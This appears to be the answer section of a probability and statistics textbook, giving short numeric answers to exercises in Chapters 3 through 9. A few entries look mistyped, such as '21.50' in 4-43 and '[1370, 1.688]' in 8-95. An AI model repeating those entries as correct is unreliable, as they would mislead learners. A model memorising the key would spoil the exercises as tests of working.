3-109. (a) 3.91×10^{-19}
(b) 200 (c) 2.56×10^{18}

3-111. (a) 3×10^8
(b) 3×10^{16}

3-115. (a) 10 (b) 0.039 (c) 0.039
(d) 0.271

Section 3-8

3-117. (a) 0.4191 (b) 0
(c) 0.001236
(d) $E(X) = 0.8$, $V(X) = 0.6206$

3-121. (a) 0.1201 (b) 0.8523

3-123. (a) 0.087 (b) 0.9934
(c) 0.297 (d) 0.9998

3-125. (a) 0.7069 (b) 0.0607
(c) 0.2811.

3-127. (a) 0.0041 (b) 0.3091
(c) 0.0165

Section 3-9

3-129. (a) 0.0183 (b) 0.2381
(c) 0.1954 (d) 0.0298

3-131. $E(X) = V(X) = 2.996$.

3-133. (a) 0.264 (b) 48

3-135. (a) 0.4566 (b) 0.047

3-137. (a) 0.2 (b) 99.89%

3-139. (a) 0.6065 (b) 0.0067
(c) $P(W = 0) = 0.0067$,
$P(W = 1) = 0.0437$,
$P(W \le 1) = 0.0504$

3-141. (a) 0.026 (b) 0.287
(c) 0.868

Supplemental Exercises

3-143. $E(X) = 1/4$, $V(X) = 0.0104$

3-145. (a) $n = 50, p = 0.1$ (b) 0.112
(c) $P(X \ge 49) = 4.51 \times 10^{-48}$

3-147. (a) 0.000224 (b) 0.2256
(c) 0.4189

3-149. (a) 0.1024 (b) 0.1074
3-151. (a) 3000 (b) 1731.18
3-153. (a) $P(X = 0) = 0.0498$
(b) 0.5768
(c) $P(X \le x) \ge 0.9$, $x = 5$
(d) $\sigma^2 = \lambda = 6$. Not appropriate.
3-155. (a) 0.1877 (b) 0.4148 (c) 15
3-157. (a) 0.0110 (b) 8/3
3-159. 40000
3-161. 0.1330
3-163. (a) 500 (b) 222.49
3-165. 0.1
3-167. $f_X(0) = 0.16$, $f_X(1) = 0.19$, $f_X(2) = 0.20$, $f_X(3) = 0.31$, $f_X(4) = 0.14$
3-169. $f_x(2) = 0.2$, $f_x(5.7) = 0.3$, $f_x(6.5) = 0.3$, $f_x(8.5) = 0.2$
3-171. (a) 0.0433 (b) 3.58
3-173. (a) $f_X(0) = 0.2357$, $f_X(1) = 0.3971$, $f_X(2) = 0.2647$, $f_X(3) = 0.0873$, $f_X(4) = 0.01424$, $f_X(5) = 0.00092$
(b) $f_X(0) = 0.0546$, $f_X(1) = 0.1866$, $f_X(2) = 0.2837$, $f_X(3) = 0.2528$, $f_X(4) = 0.1463$, $f_X(5) = 0.0574$, $f_X(6) = 0.0155$, $f_X(7) = 0.0028$, $f_X(8) = 0.0003$, $f_X(9) = 0.0000$, $f_X(10) = 0.0000$
3-175. 37.8 seconds

Mind-Expanding Exercises

3-181. (a) 131 (b) 123

CHAPTER 4

Section 4-2

4-1. (a) 0.3679 (b) 0.2858 (c) 0
(d) 0.9817 (e) 0.0498
4-3. (a) 0.5 (b) 0.1464
(c) 0.7072 (d) 0.8536
(e) 1.12 radians
4-5. (a) 0.4375 (b) 0.7969
(c) 0.5625 (d) 0.7031 (e) 0.5
4-7. (a) 0.5 (b) 0.4375 (c) 0.125
(d) 0 (e) 1 (f) 0.9655
4-9. (a) 0.5 (b) 49.8
4-11. (a) 0.1

Section 4-3

4-13. (a) 0.56 (b) 0.7 (c) 0 (d) 0
4-15. $F(x) = 0$ for $x \le 0$; $1-e^{-x}$ for $x > 0$
4-17. $F(x) = 0$ for $x \le -\frac{\pi}{2}$, $0.5 \sin x + 0.5$ for $-\frac{\pi}{2} \le x \le \frac{\pi}{2}$, 1 for $x \ge \frac{\pi}{2}$
4-19. (a) 0.56 (b) 0.7 (c) 0
(d) 0
4-21. 0.2
4-23. $F(x) = 0$ for $x < 0$; $0.25x^2$ for $0 \le x < 2$; 1 for $2 \le x$
4-25. $f(x) = 0.2$ for $0 < x < 4$; $f(x) = 0.04$ for $4 \le x < 9$

Section 4-4

4-27. $E(X) = 2$, $V(X) = 4/3$
4-29. $E(X) = 0$, $V(X) = 0.6$
4-31. $E(X) = 4$, $V(X) = 3.2$
4-33. $E(X) = 2$
4-35. (a) $E(X) = 109.39$, $V(X) = 33.19$
(b) 54.70
4-37. (a) $E(X) = 5.1$, $V(X) = 0.01$
(b) 0.3679

Section 4-5

4-39. (a) $E(X) = 0$, $V(X) = 0.577$
(b) 0.90 (c) $F(x) = 0$ for $x < -1$; $0.5x + 0.5$ for $-1 \le x < 1$; 1 for $1 \le x$
4-41. (a) $F(x) = 0$ for $x < 0.95$; $10x-9.5$ for $0.95 \le x < 1.05$; 1 for $1.05 \le x$
(b) 0.3 (c) 0.96
(d) $E(X) = 1.00$, $V(X) = 0.00083$
4-43. (a) $F(x) = 0$ for $x < 0.2050$; $100x - 20.50$ for $0.2050 \le x < 0.2150$; 1 for $21.50 \le x$
(b) 0.25 (c) 0.2140
(d) $E(X) = 0.2100$, $V(X) = 8.33 \times 10^{-6}$
4-45. (a) $F(X) = x/90$ for $0 \le x \le 90$
(b) $E(X) = 45$, $V(X) = 675$
(c) 1/3 (d) 0.333
4-47. (a) $\sigma_X = 34.64$ (b) 1/3
(c) 1/2

Section 4-6

4-49. (a) 0.90658 (b) 0.99865
(c) 0.07353 (d) 0.98422
(e) 0.95116
4-51. (a) 0.90 (b) 0.5 (c) 1.28
(d) -1.28 (e) 1.33
4-53. (a) 0.93319 (b) 0.69146
(c) 0.9545 (d) 0.00132
(e) 0.15866
4-55. (a) 0.93319 (b) 0.89435
(c) 0.38292 (d) 0.80128
(e) 0.54674
4-57. (a) 0.99379 (b) 0.13591
(c) 5835
4-59. (a) 0.0228 (b) 0.019
(c) 152.028
(d) small (less than 5%)
4-61. (a) 0.0082 (b) 0.72109
(c) 0.564
4-63. (a) 12.309 (b) 12.1545
4-65. (a) 0.00621 (b) 0.308538
(c) 133.33
4-67. (a) 0.1587 (b) 1.3936
(c) 0.9545
4-69. (a) 0.00043 (b) 6016
(c) 1/8
4-71. (a) 0.02275 (b) 0.324
(c) 11.455
4-73. [23.5, 24.5], no effect from stdev
4-75. (a) 0.0248 (b) 0.1501
(c) 92.0213

Section 4-7

4-77. (a) 0.0853 (b) 0.8293
(c) 0.0575
4-79. (a) 0.1446 (b) 0.4761
(c) 0.3823
4-81. (a) 0.2743 (b) 0.8413
4-83. 0.022
4-85. 0.5
4-87. (a) 0 (b) 0.156 (c) 13,300
(d) 8.3 days/year (e) 0.0052
4-89. (a) 0.012 (b) 0.9732
(c) 536.78

Section 4-8

4-91. (a) 0.3679 (b) 0.1353
(c) 0.9502
(d) 0.95, $x = 29.96$
4-93. (a) 0.3679 (b) 0.2835
(c) 0.1170
4-95. (a) 0.1353 (b) 0.4866
(c) 0.2031 (d) 34.54
4-97. (a) 0.0498 (b) 0.8775
4-99. (a) 0.0025 (b) 0.6321
(c) 23.03 (d) same as part (c)
(e) 6.93

4-101. (a) 15.625 (b) 0.1629 (c) 3×10^{-6}
4-103. (a) 0.2212 (b) 0.2865 (c) 0.2212 (d) 0.9179 (e) 0.2337
4-105. (a) 0.3528 (b) 0.04979 (c) 46.05 (d) 6.14×10^{-6} (e) e^{-12} (f) same
4-107. (a) 0.3679 (b) 0.1353 (c) 0.0498 (d) does not depend on θ
4-109. (a) 0.435 (b) 0.135 (c) 0.369 (d) 0.865

Section 4-9

4-111. (a) 120 (b) 1.32934 (c) 11.6317
4-113. (a) Erlang $\lambda = 5$ calls/min, $r = 10$ (b) $E(X) = 2$, $V(X) = 0.4$ (c) 0.2 minute (d) 0.1755 (e) 0.2643
4-115. (a) 50000 (b) 0.6767
4-117. (a) 5×10^5 (b) $V(X) = 5 \times 10^{10}$, $\sigma = 223607$ (c) 0.0803
4-119. (a) 0.1429 (b) 0.1847
4-123. (a) 1.54 (b) 0.632

Section 4-10

4-125. $E(X) = 12000$, $V(X) = 3.61 \times 10^{10}$
4-127. 1000
4-129. (a) 803.68 hours (b) 85319.64 (c) 0.1576
4-131. (a) 443.11 (b) 53650.5 (c) 0.2212
4-135. (a) 0.5698 (b) 0.1850 (c) 0.4724
4-137. (a) 0.0468 (b) 0.1388

Section 4-11

4-139. (a) 0.0016 (b) 0.0029 (c) $E(X) = 12.1825$, $V(X) = 1202455.87$
4-141. (a) 0.03593 (b) 1.65 (c) 2.7183 12.6965
4-143. (a) $\theta = 8.4056$, $\omega^2 = 1.6094$ (b) 0.2643 (c) 881.65
4-147. (a) $E(X) = 4.855$, $V(X) = 4.090$ (b) 0.9263 (c) 0.008

Section 4-12

4-149. (a) 0.0313 (b) 0.4559 (c) $E(X) = 0.7143$, $V(X) = 0.0454$
4-151. (a) Mode = 0.8333, $E(X) = 0.6818$, $V(X) = 0.0402$ (b) Mode = 0.6316, $E(X) = 0.6154$, $V(X) = 0.0137$
4-153. 0.0272

Supplemental Exercises

4-155. (a) 0.99379 (b) 0.621%
4-157. (a) 0.15866 (b) 90.0 (c) 0.9973 (d) $(0.9973)^{10}$ (e) 9.973
4-159. (a) 0.0217 (b) 0.9566 (c) 229.5
4-161. 0.8488
4-163. (a) 620.4 (b) 105154.9 (c) 0.4559
4-165. (a) 0.0625 (b) 0.75 (c) 0.5 (d) $F(x) = 0$ for $x < 2$; $x/4 - x + 1$ for $2 \le x < 4$; 1 for $4 \le x$ (e) $E(X) = 10/3$, $V(X) = 0.2222$
4-167. (a) 0.3935 (b) 0.9933
4-169. (a) $\theta = 3.43$, $\omega^2 = 0.96$ (b) 0.946301
4-171. (a) 0.6915 (b) 0.683 (c) 1.86
4-173. (a) 0.0062 (b) 0.012 (c) 5.33
4-175. 0.0008 to 0.0032
4-177. (a) 0.5633 (b) 737.5
4-179. (a) 0.9906 (b) 0.8790

Mind-Expanding Exercises

4-183. (a) $k\sigma^2$ (b) $k\sigma^2 + k(\mu - m)^2$

CHAPTER 5

Section 5-1

5-1. (a) 3/8 (b) 5/8 (c) 3/8 (d) 1/8 (e) $V(X) = 0.4961$ $V(Y) = 1.8594$ (f) $f(1) = 1/4$, $f(1.5) = 3/8$, $f(2.5) = 1/4$, $f(3) = 1/8$ (g) $f(2) = 1/3$, $f(3) = 2/3$ (h) 1 (i) 2 1/3 (j) Not independent
5-3. (a) 3/8 (b) 3/8 (c) 7/8 (d) 5/8 (e) $V(X) = 0.4219$ $V(Y) = 1.6875$ (f) $f(-1) = 1/8$, $f(-0.5) = 1/4$, $f(0.5) = 1/2$, $f(1) = 1/8$ (g) 1 (h) 1 (i) 0.5 (j) Not independent
5-5. (b) $f_X(0) = 0.970299$, $f_X(1) = 0.029403$, $f_X(2) = 0.000297$, $f_X(3) = 0.000001$ (c) 0.03 (d) $f(0) = 0.920824$, $f(1) = 0.077543$, $f(2) = 0.001632$ (e) 0.080807 (g) Not independent
5-7. (b) $f(0) = 2.40 \times 10^{-9}$, $f(1) = 1.36 \times 10^{-6}$, $f(2) = 2.899 \times 10^{-4}$, $f(3) = 0.0274$, $f(4) = 0.972$ (c) 3.972 (d) equals $f(y)$ (e) 3.988 (f) 0.0120 (g) Independent
5-9. (b) $f_X(0) = 0.2511$, $f_X(1) = 0.0405$, $f_X(2) = 0.0063$, $f_X(3) = 0.0009$, $f_X(4) = 0.0001$ (c) 0.0562 (d) $f_{Y|3}(0) = 2/3$, $f_{Y|3}(1) = 1/3$, $f_{Y|3}(2) = f_{Y|3}(3) = f_{Y|3}(4) = 0$ (e) 0.0003 (f) 0.0741 (g) Not independent
5-11. (c) 0.308 (d) 5.7
5-13. (a) 0.4444 (b) 0.6944 (c) 0.5833 (d) 0.3733 (e) 2 (f) 0 (g) $f_X(x) = 2x/9$; $0 < x < 3$ (h) $f_{Y|1.5}(y) = 2y/9$; $0 < y < 3$ (i) 2 (j) 4/9 (k) $f_{X|2}(x) = 2x/9$; $0 < x < 3$
5-15. (a) 1/81 (b) 5/27 (c) 0.790 (d) 16/81 (e) 12/5 (f) 8/5 (g) $f(x) = 4x^3/81$; $0 < x < 3$ (h) $f_{Y|X=1}(y) = 2y$; $0 < y < 1$ (i) 1 (j) 0 (k) $f_{X|Y=2}(x) = 2x/9$; $0 < x < 3$
5-17. (a) 0.9879 (b) 0.0067 (c) 0.000308 (d) 0.9939 (e) 0.04 (f) 8/15 (g) $f(x) = 5e^{-5x}$; $x > 0$ (h) $f_{Y|X=1}(y) = 3e^{3-3y}$; $1 < y$ (i) 4/3 (j) 0.9502, $f_Y(2) = 15e^{-6}/2$; $0 < y$ (k) $f_{X|Y=2}(y) = 2e^{-2x}$; $0 < x < 2$
5-19. (a) 1/30 (b) 1/12 (c) 19/9 (d) 97/45 (g) 1 (h) 0.25
5-21. (a) $P(X > 5, Y > 5) = 0.0439$, $P(X > 10, Y > 10) = 0.0019$ (b) 0.0655

5-23. (a) 0.25 (b) 0.0625 (c) 1 (d) 1 (e) 2/3 (f) 0.25 (g) 0.0625 (h) $f_{X|YZ}(y, z) = 2x; 0 < x < 1$ (i) 0.25

5-25. (a) 0.75 (b) 3/4 (c) 0.875 (d) 0.25 (g) 1 for $x > 0$

5-27. (a) 0.032 (b) 0.0267

Section 5-2

5-29. 0.8851

5-31. $c = 1/36$, $\rho = -0.0435$

5-33. $\rho = -0.5$, negative

5-35. $c = 8/81$, $\rho = 0.4924$

5-37. $\sigma_{XY} = \rho_{XY} = 0$

5-39. $\sigma_{XY} = \rho_{XY} = 0$

Section 5-3

5-43. (a) $p_1 = 0.05$, $p_2 = 0.85$, $p_3 = 0.10$ (d) $E(X) = 1$, $V(X) = 0.95$ (f) 0.07195 (g) 0.7358 (h) $E(Y) = 17$ (i) 0 (j) $P(X = 2, Y = 17) = 0.0540$, $P(X = 2 \mid Y = 17) = 0.2224$ (k) $E(X \mid Y = 17) = 1$

5-45. (b) 0.1944 (c) 0.0001 (e) $E(X) = 2.4$ (f) $E(Y) = 1.2$ (g) 0.7347 (h) 0 (i) $P(X = 0 \mid Y = 2) = 0.0204$, $P(X = 1 \mid Y = 2) = 0.2449$, $P(X = 2 \mid Y = 2) = 0.7347$ (j) 1.7143

5-47. (a) 0.7887 (b) 0.7887 (c) 0.6220

5-49. 0.8270

Section 5-4

5-55. (a) 18 (b) 77 (c) 0.5 (d) 0.873

5-57. (a) $E(T) = 4$, $\sigma_T = 0.1414$

5-59. (a) 0 (b) 1

5-61. $E(X) = 1290$, $V(X) = 19600$

5-63. (a) 0.002 (b) $n = 6$ (c) 0.9612

5-65. (a) 0.0027 (b) No (c) 0

Section 5-5

5-67. $f_Y(y) = ¼$; $y = 3, 5, 7, 9$

5-69. (b) 18

Supplemental Exercises

5-75. (a) 3/8 (b) 3/4 (c) 3/4 (d) 3/8 (e) $E(X) = 7/8$, $V(X) = 39/64$, $E(Y) = 7/8$, $V(Y) = 39/64$ (h) 2/3 (i) *not* independent (j) 0.7949

5-77. (a) 0.0560 (b) $Z \sim \text{Bin}(20, 0.1)$ (c) 2 (d) 0.863 (e) $Z|X \sim \text{Bin}(4, 0.25)$ (f) 1 (g) *not* independent

5-79. (a) 1/108 (b) 0.5787 (c) 3/4 (d) 0.2199 (e) 9/4 (f) 4/3

5-81. 3/4

5-83. (a) 0.085 (b) $Z \sim \text{Bin}(10, 0.3)$ (c) 3

5-85. (a) 0.499 (b) 0.5

5-87. (a) 0.057 (b) 0.057

5-91. (a) $E(T) = 1.5$, $V(T) = 0.078$ (b) 0.0367 (c) $E(P) = 4$, $V(P) = 0.568$

5-95. (a) $p_1 = 0.13$, $p_2 = 0.72$, $p_3 = 0.15$, $x + y + z = 12$ (b) *not* possible (c) 0.736 (d) 0 (e) 0.970 (f) 0.285 (g) 0.345

CHAPTER 6

Section 6-1

6-1. No, usually not, Ex: {2, 3}

6-3. No, usually not, Ex: {1, 2, 3, 1000}.

6-5. Yes, Ex: {5, 5, 5, 5, 5, 5, 5}.

6-7. $\bar{x} = 74.0044$, $s = 0.00473$

6-9. $\bar{x} = 7068.1$, $s = 226.5$

6-11. $\bar{x} = 43.975$, $s = 12.294$

6-13. $\mu = 5.44$

6-15. $\bar{x}_1 = 287.89$, $s_1 = 160.154$ $\bar{x}_2 = 325.01$, $s_2 = 121.20$

6-17. $\bar{x} = 7.184$, $s = 0.02066$

6-19. (a) $\bar{x} = 65.86$, $s = 12.16$ (b) $\bar{x} = 66.86$, $s = 10.74$

Section 6-2

6-21. Symmetric with a single mode

6-23. $\tilde{x} = 1436.5$, lower quartile: $Q_1 = 1097.8$, and upper quartile: $Q_3 = 1735.0$

6-25. $\tilde{x} = 89.250$, lower quartile: $Q_1 = 86.100$, and upper quartile: $Q_3 = 93.125$

6-27. median: $\tilde{x} = 1436.5$, mode: 1102, 1315, and 1750, mean: $\bar{x} = 1403.7$

6-29. $\bar{x} = 366.57$, $s = 940.02$, and $\tilde{x} = 41.455$

6-31. 95th percentile = 5479

6-33. $\bar{x} = 260.3$, $s = 13.41$, $\tilde{x} = 260.85$, and 90th percentile = 277.2

6-35. $\bar{x} = 89.45$, $s = 2.8$, $\tilde{x} = 90$, and proportion = 22/40 = 55%

Section 6-4

6-53. (a) $\bar{x} = 2.415$, $s^2 = 0.285$, and $s = 0.543$

6-55. (a) $\bar{x} = 952.44$, $s^2 = 9.55$, and $s = 3.09$ (b) $\tilde{x} = 953$

6-57. (a) $\tilde{x} = 67.50$, lower quartile: $Q_1 = 58.50$, and upper quartile: $Q_3 = 75.00$ (b) $\tilde{x} = 68.00$, lower quartile: $Q_1 = 60.00$, and upper quartile: $Q_3 = 75.00$

Supplemental Exercises

6-87. (a) Sample 1 Range = 4 Sample 2 Range = 4 (b) Sample 1: $s = 1.604$ Sample 2: $s = 1.852$

6-93. (b) $\bar{x} = 9.325$, $s = 4.486$

Mind-Expanding Exercises

6-105. s^2 (*old*) = 50.61, s^2 (*new*) = 5061.1

6-109. $\bar{y} = 431.89$, $s_y^2 = 34.028$

6-111. $\tilde{x} = 69$

6-113. (a) $\bar{x} = 89.29$ (b) $\bar{x} = 89.19$ (c) No

CHAPTER 7

Section 7-2

7-1. 8/103

7-3. 0.8186

7-5. 0.4306

7-7. 0.191

7-9. $n = 12$

7-11. 0.2312

7-13. (a) 0.5885 (b) 0.1759

7-15. 0.983

Section 7-3

7-17. (a) $N = 25$, Mean = 150.47, $S^2 = 105.06$, $SS = 2521.5$
(b) 150.468
7-19. Bias $= \sigma^2(\frac{n-1}{c} - 1)$
7-21. $V(\hat{\theta}_1) = \sigma^2/7$ is smallest
7-27. Bias $= \sigma^2/n$
7-29. (a) 423.33 (b) 9.08
(c) 1.85 (d) 424
(e) 0.2917
7-33. (d) 0.01 (e) 0.0413

Section 7-4

7-35. $\bar{x}$
7-39. unbiased
7-41. (a) $\hat{\theta} = \Sigma x_i^2/(2n)$
(b) same as part (a)
7-47. (b) $\lambda_0(m + x + 1)/(m + \lambda_0 + 1)$
7-49. (a) 5.046 (b) 5.05

Supplemental Exercises

7-55. 0.8664
7-57. 5.6569
7-59. $n = 100$
7-61. $\hat{\theta} = \bar{x}/3$
7-65. $\hat{\mu} = 21.86$, $\hat{\theta}_{5000} = 109{,}300$, $\hat{p} = 0.7$

CHAPTER 8

Section 8-1

8-1. (a) 96.76% (b) 98.72%
(c) 93.56%
8-3. (a) 1.29 (b) 1.65 (c) 2.33
8-5. (a) 1st CI = 50, 2nd CI = 50
(b) higher confidence implies a wider CI
8-7. (a) 4 (b) 7
8-9. (a) Longer (b) No (c) Yes
8-11. [87.85, 93.11]
8-13. (a) [74.0353, 74.0367]
(b) [74.035, ∞)
8-15. (a) [3232.11, 3267.89]
(b) [3226.4, 3273.6]
8-17. 267
8-19. 2^2
8-21. (a) [13.383, 14.157]
(b) [13.521, ∞)
(c) 1 (d) 2

Section 8-2

8-23. (a) 2.179 (b) 2.064
(c) 3.012 (d) 4.073
8-25. (a) Mean = 25.1848, Variance = 2.5760
(b) $24.037 \le \mu \le 26.333$
8-27. [58197.33, 62082.07]
8-29. [1.094, 1.106]
8-31. (−∞, 125.312]
8-33. [443.520, 528.080]
8-35. [301.06, 333.34]
8-37. (b) [2237.3, 2282.5]
(c) [2241.4, ∞)
8-39. (b) [4.051, 4.575]
(c) [4.099, ∞)
8-41. (b) [2.813, 2.991]

Section 8-3

8-43. (a) 18.31 (b) 13.85
(c) 10.12, 30.14
8-45. [0.0055, ∞)
8-47. [0.31, 0.46]
8-49. [0.626, 1.926]
8-51. $\sigma \le 0.0122$

Section 8-4

8-53. (a) [0.02029, 0.06637]
(b) [−∞, 0.0627]
8-55. (a) [0.501, 0.571]
(b) [0.506, ∞)
8-57. (a) [0.225, 0.575] (b) 2305
(c) 2401
8-59. 666

Section 8-6

8-61. [52131.1, 68148.3]
8-63. [1.068, 1.13]
8-65. [292.049, 679.551]
8-67. [263.7, 370.7]
8-69. [2193.5, 2326.5]
8-71. 90% PI = [2.71, 3.09]
90% CI = [2.85, 2.95]
99% CI = [2.81, 2.99]
8-73. [49555.54, 70723.86]
8-75. [1.06, 1.14]
8-77. TI = [237.18, 734.42]
CI = [443.42, 528.08]
8-79. TI = [247.60, 386.60]
CI = [301.06, 333.34]
8-81. TI = [2.49, 3.31]
CI = [2.84, 2.96]

Supplemental Exercises

8-85. (a) 0.0997 and 0.064
(b) 0.044 and 0.014
(c) 0.0051 and < 0.001
8-87. (a) Normality
(b) [16.99, ∞)
(c) [16.99, 33.25]
(d) (−∞, 343.74]
(e) [28.23, 343.74]
(f) $16.91 < \mu < 29.09$
$15.85 < \sigma^2 < 192.97$
(g) mean: [16.88, 33.12], variance: [28.16, 342.94]
8-89. (a) [13.74, 16.92]
(b) [13.24, 17.42]
8-91. (a) Yes
(b) [197.84, 208.56]
(c) [185.41, 220.99]
(d) [171.21, 235.19]
8-93. [0.0956, ∞)
8-95. (a) Yes
(b) [1.501, 1.557]
(c) [1370, 1.688]
(d) [1.339, 1.719]
8-97. (a) [0.0004505, 0.009549]
(b) 518
(c) 26002
8-99. (a) Normality
(c) [18.478, 26.982]
(e) [19.565, 123.289]

Mind-Expanding Exercises

8-101. (b) [28.62, 101.98]
8-103. (a) 46 (b) [10.19, 10.41], $p = 0.6004$
8-105. 950 of CIs and 0.9963

CHAPTER 9

Section 9-1

9-1. (a) Yes (b) No (c) No
(d) No (e) No
9-3. (a) H_0:μ = 20nm
H_1:μ < 20nm (b) No
9-5. (a) $\alpha = 0.02275$.
(b) $\beta = 0.15866$
(c) $\beta = 0.5$
9-7. (a) $11.4175 \le \bar{X}_c \le 11.42$
(b) $11.5875 \le \bar{X}_c \le 11.59$
(c) $11.7087 \le \bar{X}_c \le 11.71$
(d) $11.7937 \le \bar{X}_c \le 11.84$
9-9. (a) P-value = 0.0135
(b) P-value ≤ 0.000034
(c) P-value = 0.158655
9-11. (a) 0.09296
(b) $\beta = 0.04648$
(c) $\beta = 0.00005$
9-13. (a) $\beta \cong 0.005543$
(b) $\beta \cong 0.082264$
(c) As n increases, β decreases
9-15. (a) $\alpha = 0.05705$ (b) $\beta = 0.5$
(c) $\beta = 0.05705$.

9-17. (a) $\mu \leq 191.40$
(b) $\mu \leq 185.37$
(c) $\mu \leq 186.6$
(d) $\mu \leq 183.2$

9-19. (a) P-value $= 0.2148$
(b) P-value $= 0.008894$
(c) P-value $= 0.785236$

9-21. (a) $\alpha = 0.0164$
(b) $1 - \beta = 0.21186$
(c) α will increase and the power will increase with increased sample size.

9-23. (a) P-value $= 0.238$
(b) P-value $= 0.0007$
(c) P-value $= 0.2585$

9-25. (a) $\alpha = 0.29372$
(b) $\beta = 0.25721$

9-27. (a) $\alpha \approx 0$
(b) $\beta = 0.99506$

Section 9-2

9-29. (a) $H_0: \mu = 10, H_1: \mu > 10$
(b) $H_0: \mu = 7, H_1: \mu \neq 7$
(c) $H_0: \mu = 5, H_1: \mu < 5$

9-31. (a) $a = z_\alpha \cong -2.33$
(b) $a = z_\alpha \cong -1.64$
(c) $a = z_\alpha \cong -1.29$

9-33. (a) P-value $\cong 0.04$
(b) P-value $\cong 0.066$
(c) P-value $\cong 0.69$

9-35. (a) P-value $\cong 0.98$
(b) P-value $\cong 0.03$
(c) P-value $\cong 0.65$

9-37. (a) StDev $= 0.7495$, $z_0 = -0.468$, P-value $= 0.68$, fail to reject H_0
(b) one-sided
(c) $19.42 \leq \mu \leq 20.35$
(d) 0.640

9-39. (a) 0.6827 (b) one-sided
(c) P-value $= 0.002$, reject H_0
(d) $98.8518 \leq \mu$
(e) P-value $= 0.15$, fail to reject H_0

9-41. (a) $z_0 = -0.95 > -1.96$, fail to reject H_0
(b) $\beta = 0.80939$
(c) $n \cong 16$

9-43. (a) $z_0 = 1.26 < 1.65$ fail to reject H_0
(b) P-value $= 0.1038$
(c) $\beta \cong 0.000325$
(d) $n \cong 1$
(e) $39.85 \leq \mu$

9-45. (a) $z_0 = 1.56 > -1.65$, fail to reject H_0
(b) P-value $\cong 0.94$
(c) Power $= 0.97062$
(d) $n \cong 5$
(e) $\mu \leq 104.53$

9-47. (a) $z_0 = 1.77 > 1.65$, reject H_0
(b) P-value $\cong 0.04$
(c) Power $= 1$
(d) $n \cong 2$
(e) $4.003 \leq \mu$

Section 9-3

9-49. (a) critical value > 2.539
(b) critical value > 1.796
(c) critical value > 1.345

9-51. (a) $0.05 \leq p \leq 0.1$
(b) $0.05 \leq p \leq 0.1$
(c) $0.5 \leq p \leq 0.8$

9-53. (a) $0.95 \leq p \leq 0.975$
(b) $0.025 \leq p \leq 0.05$
(c) $0.6 \leq p \leq 0.75$

9-55. (a) 9
(b) $.05 <$ P-value $< = 0.1$, fail to reject H_0
(c) two-sided
(d) $11.89 \leq \mu \leq 13.23$
(e) $t_0 = 1.905$, reject H_0
(f) reject H_0

9-57. (a) $t_0 = 0.6665$, fail to reject H_0
(b) equal to P-value ≈ 0.5
(c) $246.84 \leq \mu \leq 404.15$, fail to reject H_0

9-59. (a) $|t_0| = 3.48 > 2.064$ reject H_0 P-value $= 0.002$
(b) Yes
(c) power $\cong 1$
(d) $n = 20$
(e) $98.065 \leq \mu \leq 98.463$

9-61. (a) $|t_0| = 1.456 < 2.064$, fail to reject H_0; $0.1 <$ P-value < 0.2.
(b) Yes
(c) power $= 0.80$
(d) $n = 100$
(e) $129.406 \leq \mu \leq 130.100$

9-63. (a) $|t_0| = 1.55 < 2.861$, fail to reject H_0; $0.10 <$ P-value < 0.20
(b) Yes, see normal probability plot
(c) power $= 0.30$
(d) $n = 40$
(e) $1.9 \leq \mu \leq 4.62$

9-65. (a) $t_0 = 0.15 < 1.753.$, fail to reject H_0; P-value > 0.40.
(b) $n = 4$. Yes

9-67. $t_0 = 3.46 > 1.833$, reject H_0 $0.0025 <$ P-value < 0.005

9-69. (a) $t_0 = -14.69 < 1.6604$, fail to reject H_0; P-value > 0.995
(b) Yes
(c) power $= 1$
(d) $n = 15$

Section 9-4

9-71. (a) critical values 6.84 and 38.58
(b) critical values 3.82 and 21.92
(c) critical values 6.57 and 23.68

9-73. (a) $\chi^2_{1-\alpha,n-1} = 7.63$
(b) $\chi^2_{1-\alpha,n-1} = 4.57$
(c) $\chi^2_{1-\alpha,n-1} = 7.79$

9-75. (a) $0.5 <$ P-value < 0.9
(b) $0.5 <$ P-value < 0.9
(c) $0.005 <$ P-value < 0.01

9-77. (a) $\chi^2_0 = 0.23 < 26.30$, fail to reject H_0; P-value > 0.995
(b) $0.07 \leq \sigma$

9-79. (a) $\chi^2_0 = 109.52 > 71.42$, reject H_0; P-value < 0.01
(b) $0.31 < \sigma < 0.46$

9-81. (a) $\chi^2_0 = 12.46 > 7.26$, fail to reject H_0; $0.1 <$ P-value < 0.4
(b) $\sigma \leq 5240$

9-83. (a) $\chi^2_0 = 11.52 < 19.02$, fail to reject H_0; $0.2 <$ P-value
(b) 0.45
(c) $n = 30$

Section 9-5

9-85. (a) one-sided
(b) appropriate
(c) $\hat{p} = 0.3564$, $z_0 = -1.1867$ P-value $= 0.118$, $\hat{p} \leq 0.6105$
(d) 0.2354

9-87. (a) $z_0 = -1.31 > -1.65$, fail to reject H_0; P-value $= 0.095$
(b) $p \leq 0.0303$

9-89. (a) $z_0 = 2.06 > 1.65$, reject H_0; P-value $= 0.0196$
(b) $0.7969 \leq p$

9-91. (a) $z_0 = -0.94 < 2.33$ fail to reject H_0; P-value $= 0.826$
(b) $0.035 \leq p$

9-93. $z_0 = 1.58 > -2.33$, fail to reject H_0

9-95. (a) $z_0 = 0.54 < 1.65$, fail to reject H_0; P-value $= 0.295$
(b) $\beta = 0.639$, $n \cong 118$

Section 9-7

9-97. (a) $\chi_0^2 = 6.955 < 15.09$, fail to reject H_0
(b) P-value $= 0.2237$ (from Minitab)

9-99. (a) $\chi_0^2 = 10.39 > 7.81$ reject H_0
(b) P-value $= 0.0155$ (from Minitab)

9-101. (a) $\chi_0^2 = 769.57 >>> 36.42$, reject H_0
(b) P-value $\cong 0$

Section 9-8

9-103. $\chi_0^2 \ngtr \chi_{0.05,6}^2$, fail to reject H_0; P-value $= 0.070$ (from Minitab)

9-105. $\chi_0^2 > \chi_{0.01,9}^2$ reject H_0; P-value $= 0.002$ (from Minitab)

9-107. $\chi_0^2 \ngtr \chi_{0.01,3}^2$, fail to reject H_0; P-value $= 0.013$

9-109. (a) $\chi_0^2 > \chi_{0.05,1}^2$
(b) P-value < 0.005

Section 9-9

9-111. (a) P-value $= 2P(R^+ \le 7 | p = 0.5) = 0.132$
(b) 0.180

9-113. (a) P-value $= 2*P(R^+ \ge 3 | p = 0.5) \approx 1$
(b) $z_0 = 0$, P-value ≈ 1

9-115. Ignore ties
(a) $w = 9 > w^*_{0.05,n=9} = 5$, fail to reject H_0
(b) 0.110

9-117. Ignore ties
(a) $w^- = 27 < w^*_{0.05,n=17} = 41$, reject H_0

Supplemental Exercises

9-119. (a) 15
(b) SE Mean $= 1.1525$, $t_0 = -1.449$, $0.1 <$ P-value < 0.2, $95.874 \le \mu \le 100.786$
(c) fail to reject H_0
(d) fail to reject H_0

